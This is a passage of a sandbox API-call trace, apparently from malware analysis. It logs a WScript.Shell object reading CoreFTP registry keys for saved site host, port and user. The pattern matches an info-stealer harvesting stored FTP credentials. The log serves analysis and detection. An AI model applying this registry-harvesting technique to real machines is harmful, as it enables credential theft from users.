[3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e738 | out: ppv=0x26e738*=0x3d13c0) returned 0x0 [0065.947] WshShell:IUnknown:QueryInterface (in: This=0x3d13c0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e568 | out: ppvObject=0x26e568*=0x0) returned 0x80004002 [0065.947] WshShell:IClassFactory:CreateInstance (in: This=0x3d13c0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e5a0 | out: ppvObject=0x26e5a0*=0x3dfeac) returned 0x0 [0065.947] WshShell:IUnknown:QueryInterface (in: This=0x3dfeac, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e344 | out: ppvObject=0x26e344*=0x3dfeac) returned 0x0 [0065.948] WshShell:IUnknown:QueryInterface (in: This=0x3dfeac, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e300 | out: ppvObject=0x26e300*=0x0) returned 0x80004002 [0065.948] WshShell:IUnknown:QueryInterface (in: This=0x3dfeac, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e1f4 | out: ppvObject=0x26e1f4*=0x3dfe9c) returned 0x0 [0065.948] WshShell:IProvideClassInfo:GetClassInfo (in: This=0x3dfe9c, ppTI=0x26e1ec | out: ppTI=0x26e1ec*=0x7c66b0) returned 0x0 [0065.952] ITypeInfo:RemoteGetTypeAttr (in: This=0x7c66b0, ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc | out: ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc) returned 0x0 [0065.953] ITypeInfo:LocalReleaseTypeAttr (This=0x7c66b0) returned 0x7ba2f0 [0065.953] WshShell:IUnknown:Release (This=0x3dfe9c) returned 0x2 [0065.953] IUnknown:Release (This=0x7c66b0) returned 0x1 [0065.953] WshShell:IUnknown:AddRef (This=0x3dfeac) returned 0x3 [0065.953] CoGetContextToken (in: pToken=0x26e18c | out: pToken=0x26e18c) returned 0x0 [0065.953] CoGetContextToken (in: pToken=0x26e150 | out: pToken=0x26e150) returned 0x0 [0065.953] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e184 | out: ppvObject=0x26e184*=0x779464) returned 0x0 [0065.953] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e1b4 | out: pAptType=0x26e1b4*=3) returned 0x0 [0065.953] IUnknown:Release (This=0x779464) returned 0x0 [0065.953] CoGetObjectContext (in: riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x7e84cc | out: ppv=0x7e84cc*=0x779458) returned 0x0 [0065.953] WshShell:IUnknown:QueryInterface (in: This=0x3dfeac, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e174 | out: ppvObject=0x26e174*=0x0) returned 0x80004002 [0065.954] CoGetContextToken (in: pToken=0x26e184 | out: pToken=0x26e184) returned 0x0 [0065.954] WshShell:IUnknown:AddRef (This=0x3dfeac) returned 0x4 [0065.954] WshShell:IUnknown:QueryInterface (in: This=0x3dfeac, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1f8 | out: ppvObject=0x26e1f8*=0x0) returned 0x80004002 [0065.954] WshShell:IUnknown:Release (This=0x3dfeac) returned 0x3 [0065.954] WshShell:IUnknown:Release (This=0x3dfeac) returned 0x2 [0065.954] WshShell:IUnknown:Release (This=0x3d13c0) returned 0x0 [0065.954] WshShell:IUnknown:Release (This=0x3dfeac) returned 0x1 [0065.956] CoGetContextToken (in: pToken=0x26e5b8 | out: pToken=0x26e5b8) returned 0x0 [0065.956] WshShell:IUnknown:AddRef (This=0x3dfeac) returned 0x2 [0065.956] WshShell:IUnknown:QueryInterface (in: This=0x3dfeac, riid=0x740bf5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e614 | out: ppvObject=0x26e614*=0x3dfe98) returned 0x0 [0065.956] WshShell:IUnknown:Release (This=0x3dfeac) returned 0x2 [0065.956] WshShell:IDispatch:GetIDsOfNames (in: This=0x3dfe98, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x26e610*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x26e600 | out: rgDispId=0x26e600*=2000) returned 0x0 [0065.956] WshShell:IDispatch:Invoke (in: This=0x3dfe98, dispIdMember=2000, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660, pExcepInfo=0x26e4f8, puArgErr=0x26e598 | out: pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80070002, varVal2=0x0), pExcepInfo=0x26e4f8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070002), puArgErr=0x26e598*=0x26e5e8) returned 0x80020009 [0065.963] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\Host\".") returned 0x55 [0065.963] SysStringLen (param_1="WshShell.RegRead") returned 0x10 [0065.969] WshShell:IUnknown:Release (This=0x3dfe98) returned 0x1 [0065.971] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x26e8c8 | out: lpclsid=0x26e8c8*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0065.971] CoGetClassObject (in: rclsid=0x7cb25c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e738 | out: ppv=0x26e738*=0x3d13c0) returned 0x0 [0065.971] WshShell:IUnknown:QueryInterface (in: This=0x3d13c0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e568 | out: ppvObject=0x26e568*=0x0) returned 0x80004002 [0065.972] WshShell:IClassFactory:CreateInstance (in: This=0x3d13c0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e5a0 | out: ppvObject=0x26e5a0*=0x3dfedc) returned 0x0 [0065.972] WshShell:IUnknown:QueryInterface (in: This=0x3dfedc, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e344 | out: ppvObject=0x26e344*=0x3dfedc) returned 0x0 [0065.972] WshShell:IUnknown:QueryInterface (in: This=0x3dfedc, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e300 | out: ppvObject=0x26e300*=0x0) returned 0x80004002 [0065.972] WshShell:IUnknown:QueryInterface (in: This=0x3dfedc, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e1f4 | out: ppvObject=0x26e1f4*=0x3dfecc) returned 0x0 [0065.972] WshShell:IProvideClassInfo:GetClassInfo (in: This=0x3dfecc, ppTI=0x26e1ec | out: ppTI=0x26e1ec*=0x7c66b0) returned 0x0 [0065.972] ITypeInfo:RemoteGetTypeAttr (in: This=0x7c66b0, ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc | out: ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc) returned 0x0 [0065.972] ITypeInfo:LocalReleaseTypeAttr (This=0x7c66b0) returned 0x7a3758 [0065.972] WshShell:IUnknown:Release (This=0x3dfecc) returned 0x2 [0065.972] IUnknown:Release (This=0x7c66b0) returned 0x1 [0065.973] WshShell:IUnknown:AddRef (This=0x3dfedc) returned 0x3 [0065.973] CoGetContextToken (in: pToken=0x26e18c | out: pToken=0x26e18c) returned 0x0 [0065.973] CoGetContextToken (in: pToken=0x26e150 | out: pToken=0x26e150) returned 0x0 [0065.973] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e184 | out: ppvObject=0x26e184*=0x779464) returned 0x0 [0065.973] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e1b4 | out: pAptType=0x26e1b4*=3) returned 0x0 [0065.973] IUnknown:Release (This=0x779464) returned 0x1 [0065.973] WshShell:IUnknown:QueryInterface (in: This=0x3dfedc, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e174 | out: ppvObject=0x26e174*=0x0) returned 0x80004002 [0065.973] CoGetContextToken (in: pToken=0x26e184 | out: pToken=0x26e184) returned 0x0 [0065.973] WshShell:IUnknown:AddRef (This=0x3dfedc) returned 0x4 [0065.973] WshShell:IUnknown:QueryInterface (in: This=0x3dfedc, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1f8 | out: ppvObject=0x26e1f8*=0x0) returned 0x80004002 [0065.973] WshShell:IUnknown:Release (This=0x3dfedc) returned 0x3 [0065.973] WshShell:IUnknown:Release (This=0x3dfedc) returned 0x2 [0065.973] WshShell:IUnknown:Release (This=0x3d13c0) returned 0x0 [0065.974] WshShell:IUnknown:Release (This=0x3dfedc) returned 0x1 [0065.974] CoGetContextToken (in: pToken=0x26e5b8 | out: pToken=0x26e5b8) returned 0x0 [0065.974] WshShell:IUnknown:AddRef (This=0x3dfedc) returned 0x2 [0065.974] WshShell:IUnknown:QueryInterface (in: This=0x3dfedc, riid=0x740bf5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e614 | out: ppvObject=0x26e614*=0x3dfec8) returned 0x0 [0065.974] WshShell:IUnknown:Release (This=0x3dfedc) returned 0x2 [0065.974] WshShell:IDispatch:GetIDsOfNames (in: This=0x3dfec8, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x26e610*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x26e600 | out: rgDispId=0x26e600*=2000) returned 0x0 [0065.974] WshShell:IDispatch:Invoke (in: This=0x3dfec8, dispIdMember=2000, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660, pExcepInfo=0x26e4f8, puArgErr=0x26e598 | out: pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660*(varType=0x0, wReserved1=0x26, wReserved2=0x537b, wReserved3=0x7400, varVal1=0x80070003, varVal2=0x7e2ac738), pExcepInfo=0x26e4f8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x26e598*=0x26e5e8) returned 0x80020009 [0065.976] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort\".") returned 0x50 [0065.976] SysStringLen (param_1="WshShell.RegRead") returned 0x10 [0065.978] WshShell:IUnknown:Release (This=0x3dfec8) returned 0x1 [0065.979] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x26e8c8 | out: lpclsid=0x26e8c8*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0065.980] CoGetClassObject (in: rclsid=0x7cb25c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e738 | out: ppv=0x26e738*=0x3d13c0) returned 0x0 [0065.980] WshShell:IUnknown:QueryInterface (in: This=0x3d13c0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e568 | out: ppvObject=0x26e568*=0x0) returned 0x80004002 [0065.980] WshShell:IClassFactory:CreateInstance (in: This=0x3d13c0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e5a0 | out: ppvObject=0x26e5a0*=0x3dff0c) returned 0x0 [0065.980] WshShell:IUnknown:QueryInterface (in: This=0x3dff0c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e344 | out: ppvObject=0x26e344*=0x3dff0c) returned 0x0 [0065.981] WshShell:IUnknown:QueryInterface (in: This=0x3dff0c, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e300 | out: ppvObject=0x26e300*=0x0) returned 0x80004002 [0065.981] WshShell:IUnknown:QueryInterface (in: This=0x3dff0c, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e1f4 | out: ppvObject=0x26e1f4*=0x3dfefc) returned 0x0 [0065.981] WshShell:IProvideClassInfo:GetClassInfo (in: This=0x3dfefc, ppTI=0x26e1ec | out: ppTI=0x26e1ec*=0x7c66b0) returned 0x0 [0065.981] ITypeInfo:RemoteGetTypeAttr (in: This=0x7c66b0, ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc | out: ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc) returned 0x0 [0065.981] ITypeInfo:LocalReleaseTypeAttr (This=0x7c66b0) returned 0x7b9728 [0065.981] WshShell:IUnknown:Release (This=0x3dfefc) returned 0x2 [0065.981] IUnknown:Release (This=0x7c66b0) returned 0x1 [0065.981] WshShell:IUnknown:AddRef (This=0x3dff0c) returned 0x3 [0065.981] CoGetContextToken (in: pToken=0x26e18c | out: pToken=0x26e18c) returned 0x0 [0065.981] CoGetContextToken (in: pToken=0x26e150 | out: pToken=0x26e150) returned 0x0 [0065.981] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e184 | out: ppvObject=0x26e184*=0x779464) returned 0x0 [0065.982] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e1b4 | out: pAptType=0x26e1b4*=3) returned 0x0 [0065.982] IUnknown:Release (This=0x779464) returned 0x1 [0065.982] WshShell:IUnknown:QueryInterface (in: This=0x3dff0c, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e174 | out: ppvObject=0x26e174*=0x0) returned 0x80004002 [0065.982] CoGetContextToken (in: pToken=0x26e184 | out: pToken=0x26e184) returned 0x0 [0065.982] WshShell:IUnknown:AddRef (This=0x3dff0c) returned 0x4 [0065.982] WshShell:IUnknown:QueryInterface (in: This=0x3dff0c, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1f8 | out: ppvObject=0x26e1f8*=0x0) returned 0x80004002 [0065.982] WshShell:IUnknown:Release (This=0x3dff0c) returned 0x3 [0065.982] WshShell:IUnknown:Release (This=0x3dff0c) returned 0x2 [0065.982] WshShell:IUnknown:Release (This=0x3d13c0) returned 0x0 [0065.982] WshShell:IUnknown:Release (This=0x3dff0c) returned 0x1 [0065.983] CoGetContextToken (in: pToken=0x26e5b8 | out: pToken=0x26e5b8) returned 0x0 [0065.983] WshShell:IUnknown:AddRef (This=0x3dff0c) returned 0x2 [0065.983] WshShell:IUnknown:QueryInterface (in: This=0x3dff0c, riid=0x740bf5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e614 | out: ppvObject=0x26e614*=0x3dfef8) returned 0x0 [0065.983] WshShell:IUnknown:Release (This=0x3dff0c) returned 0x2 [0065.983] WshShell:IDispatch:GetIDsOfNames (in: This=0x3dfef8, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x26e610*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x26e600 | out: rgDispId=0x26e600*=2000) returned 0x0 [0065.983] WshShell:IDispatch:Invoke (in: This=0x3dfef8, dispIdMember=2000, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660, pExcepInfo=0x26e4f8, puArgErr=0x26e598 | out: pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660*(varType=0x0, wReserved1=0x26, wReserved2=0x537b, wReserved3=0x7400, varVal1=0x80070003, varVal2=0x7e2ac738), pExcepInfo=0x26e4f8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x26e598*=0x26e5e8) returned 0x80020009 [0065.984] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser\".") returned 0x50 [0065.984] SysStringLen (param_1="WshShell.RegRead") returned 0x10 [0065.987] WshShell:IUnknown:Release (This=0x3dfef8) returned 0x1 [0065.988] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x26e8c8 | out: lpclsid=0x26e8c8*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0065.989] CoGetClassObject (in: rclsid=0x7cb25c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e738 | out: ppv=0x26e738*=0x3d13c0) returned 0x0 [0065.989] WshShell:IUnknown:QueryInterface (in: This=0x3d13c0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e568 | out: ppvObject=0x26e568*=0x0) returned 0x80004002 [0065.989] WshShell:IClassFactory:CreateInstance (in: This=0x3d13c0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e5a0 | out: ppvObject=0x26e5a0*=0x3dff3c) returned 0x0 [0065.989] WshShell:IUnknown:QueryInterface (in: This=0x3dff3c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e344 | out: ppvObject=0x26e344*=0x3dff3c) returned 0x0 [0065.989] WshShell:IUnknown:QueryInterface (in: This=0x3dff3c, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e300 | out: ppvObject=0x26e300*=0x0) returned 0x80004002 [0065.990] WshShell:IUnknown:QueryInterface (in: This=0x3dff3c, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e1f4 | out: ppvObject=0x26e1f4*=0x3dff2c) returned 0x0 [0065.990] WshShell:IProvideClassInfo:GetClassInfo (in: This=0x3dff2c, ppTI=0x26e1ec | out: ppTI=0x26e1ec*=0x7c66b0) returned 0x0 [0065.990] ITypeInfo:RemoteGetTypeAttr (in: This=0x7c66b0, ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc | out: ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc) returned 0x0 [0065.990] ITypeInfo:LocalReleaseTypeAttr (This=0x7c66b0) returned 0x7a37e0 [0065.990] WshShell:IUnknown:Release (This=0x3dff2c) returned 0x2 [0065.990] IUnknown:Release (This=0x7c66b0) returned 0x1 [0065.990] WshShell:IUnknown:AddRef (This=0x3dff3c) returned 0x3 [0065.990] CoGetContextToken (in: pToken=0x26e18c | out: pToken=0x26e18c) returned 0x0 [0065.990] CoGetContextToken (in: pToken=0x26e150 | out: pToken=0x26e150) returned 0x0 [0065.990] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e184 | out: ppvObject=0x26e184*=0x779464) returned 0x0 [0065.990] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e1b4 | out: pAptType=0x26e1b4*=3) returned 0x0 [0065.990] IUnknown:Release (This=0x779464) returned 0x1 [0065.991] WshShell:IUnknown:QueryInterface (in: This=0x3dff3c, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, 